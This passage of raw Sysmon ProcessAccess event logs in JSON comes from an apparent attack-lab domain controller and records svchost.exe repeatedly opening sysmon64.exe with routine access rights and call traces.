C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1412,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1413,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1414,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1415,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1416,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1417,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1418,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1419,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 